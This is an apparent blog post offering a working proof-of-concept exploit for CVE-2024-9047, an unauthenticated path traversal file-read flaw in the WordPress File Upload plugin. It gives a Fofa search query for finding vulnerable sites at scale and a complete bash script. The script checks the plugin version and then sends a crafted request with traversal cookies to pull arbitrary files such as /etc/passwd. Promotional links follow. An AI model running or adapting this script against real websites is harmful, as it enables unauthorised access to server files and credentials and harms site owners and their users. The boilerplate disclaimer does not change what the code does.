POC — WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11 — (CVE-2024–9047)
✨ click here for free link
Overview
The WordPress File Upload plugin is vulnerable due to improper input validation in the wfu_file_downloader.php file, affecting versions <= 4.24.11. This vulnerability allows unauthenticated users to download arbitrary files from the server’s filesystem, leading to potential data exfiltration and system compromise.
Affected Devices
Websites running WordPress with the File Upload Plugin version <= 4.24.11.
Affected Components
The vulnerability resides in the wfu_file_downloader.php component of the File Upload Plugin, which mishandles the file and handler parameters in its requests. This allows directory traversal attacks to access sensitive files.
Read about it — CVE-2024–9047
Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
Getting Started
Finding Targets
To identify potential targets, you can use Fofa (a search engine similar to Shodan.io) with the following query:
- Fofa Dork:
body="wp-content/plugins/wp-file-upload" && body="wordpress-file-upload-style-css"
Cloning the Repository
First, clone the repository:
git clone https://github.com/verylazytech/CVE-2024-9047
cd CVE-2024-9047
chmod +x cve-2024-9047
Or just copy manually:
#!/bin/bash
# CVE-2024-9047 WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
# FOFA body="wp-content/plugins/wp-file-upload" && body="wordpress-file-upload-style-css"
# Medium https://medium.com/@verylazytech
# Github https://github.com/verylazytech
# BuyMeACoffee https://buymeacoffee.com/verylazytech
# https://verylazytech.com
# https://x.com/verylazytech
banner() {
cat <<'EOF'
______ _______ ____ ___ ____ _ _ ___ ___ _ _ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | / _ \ / _ \| || |___ |
| | \ \ / /| _| __) | | | |__) | || |_ | (_) | | | | || |_ / /
| |___ \ V / | |___ / __/| |_| / __/|__ _| \__, | |_| |__ _/ /
\____| \_/ |_____| |_____|\___/_____| |_| /_/ \___/ |_|/_/
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
@VeryLazyTech - Medium
EOF
}
# Call the banner function
banner
# Colors
RED="\033[1;31m"
GREEN="\033[1;32m"
YELLOW="\033[1;33m"
BLUE="\033[1;34m"
NC="\033[0m" # No Color
set -e
# Check for correct number of arguments
if [ "$#" -ne 2 ]; then
printf "${RED}Usage: $0 <url> <command>${NC}\n"
exit 1
fi
# Variables
HOST=$1
PLUGIN_PATH="/wp-content/plugins/wp-file-upload/"
VERSION_FILE="release_notes.txt"
EXPLOIT_PATH="wfu_file_downloader.php"
FILE_CODE="pQ1DyzbQp5hBxQpW"
TICKET="Hw8h7dBmxROx27ZZ"
HANDLER="dboption"
SESSION_LEGACY="1"
DBOPTION_BASE="cookies"
DBOPTION_USEOLD="0"
COOKIE_VALUE="cfyMMnYQqNBbcBNMLTCDnE7ezEAdzLC3"
STORAGE_VALUE="/../../../../../$2"
TIMESTAMP=$(date +%s)
ABSPATH="/"
VULNERABLE_VERSION="4.24.11"
# Check plugin version
printf "${BLUE}Checking plugin version for ${HOST}...${NC}\n"
VERSION_URL="http://${HOST}${PLUGIN_PATH}${VERSION_FILE}"
VERSION=$(curl -s "${VERSION_URL}" | grep -oP 'Version\s+\K[0-9]+\.[0-9]+\.[0-9]+' | head -n 1)
if [[ -z "${VERSION}" ]]; then
printf "${YELLOW}Failed to retrieve plugin version. The site might not have the plugin installed.\n${NC}"
exit 1
fi
printf "Detected plugin version: ${VERSION}\n"
# Compare versions
if dpkg --compare-versions "${VERSION}" le "${VULNERABLE_VERSION}"; then
printf "${RED}Plugin version ${VERSION} is vulnerable. Proceeding with exploitation...\n${NC}"
else
printf "${YELLOw}Plugin version ${VERSION} is not vulnerable. Exiting.\n${NC}"
exit 0
fi
# Exploitation
printf "${BLUE}Attempting to exploit the vulnerability...${NC}\n"
EXPLOIT_URL="http://${HOST}${PLUGIN_PATH}${EXPLOIT_PATH}?file=${FILE_CODE}&ticket=${TICKET}&handler=${HANDLER}&session_legacy=${SESSION_LEGACY}&dboption_base=${DBOPTION_BASE}&dboption_useold=${DBOPTION_USEOLD}&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce"
curl -X GET "${EXPLOIT_URL}" \
-H "Host: ${HOST}" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept-Language: zh-CN,zh;q=0.9" \
-H "Connection: close" \
-H "Cookie: wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce=${COOKIE_VALUE}; wfu_storage_${FILE_CODE}=${STORAGE_VALUE}; wfu_download_ticket_${TICKET}=${TIMESTAMP}; wfu_ABSPATH=${ABSPATH};"
Run the Exploit:
For Linux / MacOs:
bash ./cve-2024-9047.sh <url> <file>
- Replace with the target’s URL (e.g., www.example.com).
- Replace with the desired file path on the target server (e.g., /etc/passwd).
Example Usage
./cve-2024-9047.sh www.vulnerablewebsite.com /etc/passwd
- The script will check the plugin version and, if vulnerable, attempt to retrieve the specified file.
🎉 Join the VeryLazyTech community today and level up your skills! 🎉
Become VeryLazyTech member! 🎁
Follow us on:
- ✖ Twitter @VeryLazyTech.
- 👾 Github @VeryLazyTech.
- 📜 Medium @VeryLazyTech.
- Support us and buy me a coffee. ☕
- Visit our shop for e-books and courses. 📚
Comments
Post a Comment